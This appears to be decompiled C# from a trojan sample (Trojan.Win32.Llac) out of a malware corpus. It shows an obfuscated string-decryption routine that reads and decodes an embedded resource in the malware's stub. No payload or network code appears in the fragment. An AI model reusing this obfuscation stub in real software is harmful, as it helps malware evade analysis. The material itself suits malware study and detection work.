// Decompiled with JetBrains decompiler // Type: . // Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null // MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe using \u0001; using System; using System.Collections; using System.IO; using System.Runtime.InteropServices; namespace \u0002 { internal sealed class \u0002 { [NonSerialized] internal static \u0001.\u0002 \u0001; private static string \u0001; private static string \u0002; private static byte[] \u0001; private static Hashtable \u0001; private static bool \u0001; private static int \u0001; public static string \u0002([In] int obj0) { obj0 -= \u0002.\u0002.\u0001; int num1; int num2; int num3; string str1; do { if (\u0002.\u0002.\u0001) { string str2 = (string) \u0002.\u0002.\u0001[(object) obj0]; if (true) str1 = str2; switch (str1) { case null: break; default: goto label_16; } } int num4 = obj0; byte[] numArray = \u0002.\u0002.\u0001; int index = num4; num1 = index + 1; num2 = (int) numArray[index]; if ((num2 & 128) == 0) { num3 = num2; if (num3 == 0) return string.Empty; break; } if ((num2 & 64) == 0) num3 = ((num2 & 63) << 8) + (int) \u0002.\u0002.\u0001[num1++]; else goto label_8; } while (false); goto label_9; label_8: int num5 = (num2 & 31) << 24; byte[] numArray1 = \u0002.\u0002.\u0001; int index1 = num1; int num6 = index1 + 1; int num7 = (int) numArray1[index1] << 16; int num8 = num5 + num7; byte[] numArray2 = \u0002.\u0002.\u0001; int index2 = num6; int num9 = index2 + 1; int num10 = (int) numArray2[index2] << 8; int num11 = num8 + num10; byte[] numArray3 = \u0002.\u0002.\u0001; int index3 = num9; num1 = index3 + 1; int num12 = (int) numArray3[index3]; num3 = num11 + num12; label_9: try { byte[] numArray4 = \u001D\u0002.\u0012\u0002(\u0002\u0003.\u007E\u001E\u0003((object) \u0003\u0003.\u001F\u0003(), \u0002.\u0002.\u0001, num1, num3)); string str3 = \u000F\u0002.\u0094(\u0002\u0003.\u007E\u001E\u0003((object) \u0003\u0003.\u001F\u0003(), numArray4, 0, numArray4.Length)); if (\u0002.\u0002.\u0001) { try { \u008A\u0002.\u007E\u008F\u0002((object) \u0002.\u0002.\u0001, (object) obj0, (object) str3); } catch { } } return str3; } catch { return (string) null; } label_16: return str1; } static \u0002() { // ISSUE: type reference \u0004.\u0002(\u0081\u0002.\u001F\u0002(__typeref (\u0002.\u0002))); \u0002.\u0002.\u0001 = "1"; \u0002.\u0002.\u0002 = "151"; \u0002.\u0002.\u0001 = (byte[]) null; \u0002.\u0002.\u0001 = (Hashtable) null; \u0002.\u0002.\u0001 = false; \u0002.\u0002.\u0001 = 0; if (\u0002.\u0002.\u0001 == "1") { \u0002.\u0002.\u0001 = true; \u0002.\u0002.\u0001 = new Hashtable(); } \u0002.\u0002.\u0001 = Convert.ToInt32(\u0002.\u0002.\u0002); Stream manifestResourceStream = \u0096\u0002.\u0002\u0003().GetManifestResourceStream("{18a6455a-dbc9-4d4b-8699-bebefcabef8d}"); try { int int32 = Convert.ToInt32(manifestResourceStream.Length); byte[] numArray = new byte[(int) checked ((uint) int32)]; int num = \u0005\u0003.\u007E\u0086\u0003((object) manifestResourceStream, numArray, 0, int32); \u0002.\u0002.\u0001 = \u0003.\u0003.\u0002(numArray); \u0096.\u007E\u0084\u0003((object) manifestResourceStream); } finally { if (manifestResourceStream != null) \u0096.\u007E\u0086((object) manifestResourceStream); } } } }